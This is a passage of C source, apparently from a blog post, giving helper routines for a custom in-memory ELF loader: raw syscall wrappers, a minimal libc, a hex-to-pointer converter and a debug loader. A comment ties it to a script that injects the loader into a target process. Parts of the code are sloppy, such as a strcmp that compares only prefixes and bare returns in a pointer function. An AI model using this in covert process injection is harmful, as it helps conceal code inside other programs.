__asm__ volatile ("syscall" : "=a" (ret) : "a" (__NR_read),
"D" (fd), "S" (buffer), "d" (bufferlen) :
"cc", "memory", "rcx",
"r8", "r9", "r10", "r11" );
if (ret < 0)
{
ret = -1;
}
return (int)ret;
}
__attribute__((always_inline)) inline int
crt_stat(const char *path, void *buf)
{
long ret;
asm volatile ("syscall" :
"=a" (ret) :
"a" (4), "D" (path), "S" (buf) :
"memory"
);
if (ret < 0)
{
ret = -1;
}
return (int)ret;
}
//===============================================================================================//
// Standard Library Functions (portable)
//===============================================================================================//
__attribute__((always_inline)) inline void *
crt_memcpy(void *dest, const void *src, unsigned long n)
{
unsigned long i;
unsigned char *d = (unsigned char *)dest;
unsigned char *s = (unsigned char *)src;
for (i = 0; i < n; ++i)
d[i] = s[i];
return dest;
}
__attribute__((always_inline)) inline int
crt_strcmp(char *s1, char *s2)
{
int len1 = crt_strlen(s1);
int len2 = crt_strlen(s2);
int len = 0;
if(len1 > len2)
len = len2;
else
len = len1;
for(int i = 0; i < len; i++)
{
if(*(s1 + i) != *(s2 + i))
{
return -1;
}
}
return 1;
}
__attribute__((always_inline)) inline unsigned long
crt_strlen(const char *s)
{
unsigned long r = 0;
for (; s && *s; ++s, ++r);
return r;
}
/*
* String hashing function used for string comparison
*/
__attribute__((always_inline)) inline unsigned int
hash(unsigned char *word)
{
unsigned int hash = 0;
for (int i = 0 ; word[i] != '\0' && word[i] != '@'; i++)
{
hash = 31 * hash + word[i];
}
return hash;
}
//===============================================================================================//
// Utility Functions
//===============================================================================================//
/*
* Custom function to convert string to a pointer subtracts an amount to get the actual character
* value and then accounts for the position in the number using multiplcation to place it in
* its correct position.
*/
__attribute__((always_inline)) inline uint64_t
convert_string_to_64bit_pointer(unsigned char *x)
{
uint64_t pointer = 0;
uint64_t z = 1;
uint64_t temp = 0;
unsigned int len = crt_strlen(x);
for(int i = 0; i < len; i++)
z *= 16;
for(int i = 0; i < len; i++)
{
if(*x > 60)
{
temp = *x - 87;
}
else
{
temp = *x - 48;
}
if(z == 1)
{
temp = temp;
}
else
{
z = z / 16;
temp = temp * z;
}
pointer += temp;
temp = 0;
x++;
}
return pointer;
}
/*
* Copy a file from disk into a memory buffer. WARNING Does not check size!
*/
__attribute__((always_inline)) inline unsigned int
copy_in(int fd, void *address)
{
int cc;
off_t offset = 0;
char buf[1024];
while (0 < (cc = crt_read(fd, buf, sizeof(buf))))
{
crt_memcpy((address + offset), buf, cc);
offset += cc;
}
return offset;
}
//===============================================================================================//
// Debug Mode Functions
//===============================================================================================//
#ifdef RSOI_DEBUG_MODE
/*
* Used to test loading capabilities separately from the injection capabilities. We can
* use this to figure out whether we are dealing with a problem with our ELF loader or with
* the injection script which is used to inject our loader into the target process.
*/
Elf64_Ehdr* load_file_debug_mode(char *debugfile)
{
struct stat sb;
unsigned int fd;
fd = crt_open(debugfile, 0, 0);
if(fd == -1)
{
debug("[-] Could not open debug file");
exit(-1);
}
if (0 > crt_stat(debugfile, &sb))
{
return;
}
void *mapped = crt_mmap(NULL, sb.st_size, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0);
if(mapped == -1)
{
return;
}
copy_in(fd, mapped);
crt_close(fd);
if(check_elf_magic(mapped))
{
debug("[+] Debug File ELF Header is valid");
}
else
{
debug("[-] Debug File ELF Header is invalid ERROR!");
exit(-1);
}
return (Elf64_Ehdr *)mapped;
}
#endif
©著作权归作者所有:来自51CTO博客作者土匪猿的原创作品,如需转载,请注明出处,否则将追究法律责任
每一份赞赏源于懂得